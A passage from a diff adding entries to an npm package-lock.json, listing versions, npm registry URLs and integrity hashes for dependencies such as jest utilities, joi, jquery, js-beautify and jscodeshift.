true, + "requires": { + "html-comment-regex": "^1.1.0" + } + }, + "is-symbol": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.1.tgz", + "integrity": "sha1-PMWfAAJRlLarLjjbrmaJJWtmBXI=", + "dev": true + }, + "is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", + "dev": true + }, + "is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "peer": true + }, + "is-utf8": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz", + "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", + "dev": true + }, + "is-windows": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", + "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==" + }, + "is-wsl": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz", + "integrity": "sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=" + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=" + }, + "isobject": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", + "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", + "dev": true, + "requires": { + "isarray": "1.0.0" + } + }, + "isomorphic-fetch": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz", + "integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=", + "requires": { + "node-fetch": "^1.0.1", + "whatwg-fetch": ">=0.10.0" + } + }, + "isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", + "dev": true + }, + "jed": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/jed/-/jed-1.1.1.tgz", + "integrity": "sha1-elSbvZ/+FYWwzQoZHiAwVb7ldLQ=", + "dev": true + }, + "jest-environment-node": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.4.3.tgz", + "integrity": "sha512-gAiEnSKF104fsGDXNkwk49jD/0N0Bqu2K9+aMQXA6avzsA9H3Fiv1PW2D+gzbOSR705bWd2wJZRFEFpV0tXISg==", + "peer": true, + "requires": { + "@jest/environment": "^29.4.3", + "@jest/fake-timers": "^29.4.3", + "@jest/types": "^29.4.3", + "@types/node": "*", + "jest-mock": "^29.4.3", + "jest-util": "^29.4.3" + } + }, + "jest-get-type": { + "version": "26.3.0", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-26.3.0.tgz", + "integrity": "sha512-TpfaviN1R2pQWkIihlfEanwOXK0zcxrKEE4MlU6Tn7keoXdN6/3gK/xl0yEh8DOunn5pOVGKf8hB4R9gVh04ig==", + "peer": true + }, + "jest-message-util": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.4.3.tgz", + "integrity": "sha512-1Y8Zd4ZCN7o/QnWdMmT76If8LuDv23Z1DRovBj/vcSFNlGCJGoO8D1nJDw1AdyAGUk0myDLFGN5RbNeJyCRGCw==", + "peer": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^29.4.3", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^29.4.3", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "peer": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "peer": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "peer": true + }, + "micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "peer": true, + "requires": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + } + }, + "pretty-format": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.4.3.tgz", + "integrity": "sha512-cvpcHTc42lcsvOOAzd3XuNWTcvk1Jmnzqeu+WsOuiPmxUJTnkbAcFNsRKvEpBEUFVUgy/GTZLulZDcDEi+CIlA==", + "peer": true, + "requires": { + "@jest/schemas": "^29.4.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "peer": true + } + } + }, + "react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "peer": true + }, + "slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "peer": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "peer": true, + "requires": { + "is-number": "^7.0.0" + } + } + } + }, + "jest-mock": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.4.3.tgz", + "integrity": "sha512-LjFgMg+xed9BdkPMyIJh+r3KeHt1klXPJYBULXVVAkbTaaKjPX1o1uVCAZADMEp/kOxGTwy/Ot8XbvgItOrHEg==", + "peer": true, + "requires": { + "@jest/types": "^29.4.3", + "@types/node": "*", + "jest-util": "^29.4.3" + } + }, + "jest-regex-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz", + "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==", + "peer": true + }, + "jest-serializer": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.5.1.tgz", + "integrity": "sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==", + "peer": true, + "requires": { + "@types/node": "*", + "graceful-fs": "^4.2.9" + } + }, + "jest-util": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.4.3.tgz", + "integrity": "sha512-ToSGORAz4SSSoqxDSylWX8JzkOQR7zoBtNRsA7e+1WUX5F8jrOwaNpuh1YfJHJKDHXLHmObv5eOjejUd+/Ws+Q==", + "peer": true, + "requires": { + "@jest/types": "^29.4.3", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-validate": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-26.6.2.tgz", + "integrity": "sha512-NEYZ9Aeyj0i5rQqbq+tpIOom0YS1u2MVu6+euBsvpgIme+FOfRmoC4R5p0JiAUpaFvFy24xgrpMknarR/93XjQ==", + "peer": true, + "requires": { + "@jest/types": "^26.6.2", + "camelcase": "^6.0.0", + "chalk": "^4.0.0", + "jest-get-type": "^26.3.0", + "leven": "^3.1.0", + "pretty-format": "^26.6.2" + }, + "dependencies": { + "@jest/types": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.6.2.tgz", + "integrity": "sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==", + "peer": true, + "requires": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^15.0.0", + "chalk": "^4.0.0" + } + }, + "@types/yargs": { + "version": "15.0.15", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.15.tgz", + "integrity": "sha512-IziEYMU9XoVj8hWg7k+UJrXALkGFjWJhn5QFEv9q4p+v40oZhSuC135M38st8XPjICL7Ey4TV64ferBGUoJhBg==", + "peer": true, + "requires": { + "@types/yargs-parser": "*" + } + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "peer": true + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-worker": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "peer": true, + "requires": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "dependencies": { + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "joi": { + "version": "17.8.3", + "resolved": "https://registry.npmjs.org/joi/-/joi-17.8.3.tgz", + "integrity": "sha512-q5Fn6Tj/jR8PfrLrx4fpGH4v9qM6o+vDUfD4/3vxxyg34OmKcNqYZ1qn2mpLza96S8tL0p0rIw2gOZX+/cTg9w==", + "peer": true, + "requires": { + "@hapi/hoek": "^9.0.0", + "@hapi/topo": "^5.0.0", + "@sideway/address": "^4.1.3", + "@sideway/formula": "^3.0.1", + "@sideway/pinpoint": "^2.0.0" + } + }, + "jquery": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.3.1.tgz", + "integrity": "sha512-Ubldcmxp5np52/ENotGxlLe6aGMvmF4R8S6tZjsP6Knsaxd/xp3Zrh50cG93lR6nPXyUFwzN3ZSOQI0wRJNdGg==" + }, + "jquery-timepicker": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/jquery-timepicker/-/jquery-timepicker-1.3.3.tgz", + "integrity": "sha1-A0FgyQpSYZ32iWPtp2JdH8qJy3o=", + "requires": { + "jquery": ">= 1.4.3" + } + }, + "js-base64": { + "version": "2.4.5", + "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.4.5.tgz", + "integrity": "sha512-aUnNwqMOXw3yvErjMPSQu6qIIzUmT1e5KcU1OZxRDU1g/am6mzBvcrmLAYwzmB59BHPrh5/tKaiF4OPhqRWESQ==", + "dev": true + }, + "js-beautify": { + "version": "1.14.7", + "resolved": "https://registry.npmjs.org/js-beautify/-/js-beautify-1.14.7.tgz", + "integrity": "sha512-5SOX1KXPFKx+5f6ZrPsIPEY7NwKeQz47n3jm2i+XeHx9MoRsfQenlOP13FQhWvg8JRS0+XLO6XYUQ2GX+q+T9A==", + "dev": true, + "requires": { + "config-chain": "^1.1.13", + "editorconfig": "^0.15.3", + "glob": "^8.0.3", + "nopt": "^6.0.0" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0" + } + }, + "glob": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-8.1.0.tgz", + "integrity": "sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^5.0.1", + "once": "^1.3.0" + } + }, + "minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dev": true, + "requires": { + "brace-expansion": "^2.0.1" + } + }, + "nopt": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-6.0.0.tgz", + "integrity": "sha512-ZwLpbTgdhuZUnZzjd7nb1ZV+4DoiC6/sfiVKok72ym/4Tlf+DFdlHYmT2JPmcNNWV6Pi3SDf1kT+A4r9RTuT9g==", + "dev": true, + "requires": { + "abbrev": "^1.0.0" + } + } + } + }, + "js-stringify": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz", + "integrity": "sha1-Fzb939lyTyijaCrcYjCufk6Weds=", + "dev": true + }, + "js-tokens": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz", + "integrity": "sha1-mGbfOVECEw449/mWvOtlRDIJwls=" + }, + "js-yaml": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.7.0.tgz", + "integrity": "sha1-XJZ93YN6m/3KXy3oQlOr6KHAO4A=", + "dev": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^2.6.0" + } + }, + "js2xmlparser": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-3.0.0.tgz", + "integrity": "sha1-P7YOqgicVED5MZ9RdgzNB+JJlzM=", + "dev": true, + "requires": { + "xmlcreate": "^1.0.1" + } + }, + "jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", + "dev": true, + "optional": true + }, + "jsc-android": { + "version": "250231.0.0", + "resolved": "https://registry.npmjs.org/jsc-android/-/jsc-android-250231.0.0.tgz", + "integrity": "sha512-rS46PvsjYmdmuz1OAWXY/1kCYG7pnf1TBqeTiOJr1iDz7s5DLxxC9n/ZMknLDxzYzNVfI7R95MH10emSSG1Wuw==", + "peer": true + }, + "jscodeshift": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/jscodeshift/-/jscodeshift-0.13.1.tgz", + "integrity": "sha512-lGyiEbGOvmMRKgWk4vf+lUrCWO/8YR8sUR3FKF1Cq5fovjZDlIcw3Hu5ppLHAnEXshVffvaM0eyuY/AbOeYpnQ==", + "peer": true, + "requires": { + "@babel/core": "^7.13.16", + "@babel/parser": "^7.13.16", + "@babel/plugin-proposal-class-properties": "^7.13.0", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.13.8", + "@babel/plugin-proposal-optional-chaining": "^7.13.12", + "@babel/plugin-transform-modules-commonjs": "^7.13.8", + "@babel/preset-flow": "^7.13.13", + "@babel/preset-typescript": "^7.13.0", + "@babel/register": "^7.13.16", + "babel-core": "^7.0.0-bridge.0", + "chalk": "^4.1.2", + "flow-parser": "0.*", + "graceful-fs": "^4.2.4", + "micromatch": "^3.1.10", + "neo-async": "^2.5.0", + "node-dir": "^0.1.17", + "recast": "^0.20.4", + "temp": "^0.8.4", + "write-file-atomic": "^2.3.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA==", + "peer": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==", + "peer": true + }, + "babel-core": { + "version": "7.0.0-bridge.0", + "resolved": "https://registry.npmjs.org/babel-core/-/babel-core-7.0.0-bridge.0.tgz", + "integrity": "sha512-poPX9mZH/5CSanm50Q+1toVci6pv5KSRv/5TWCwtzQS5XEwn40BcCrgIeMFWP9CKKIniKXNxoIOnOq4VVlGXhg==", + "peer": true, + "requires": {} + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "peer": true, + "requires": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "peer": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==", + "peer": true, + "requires": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==", + "peer": true, + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": 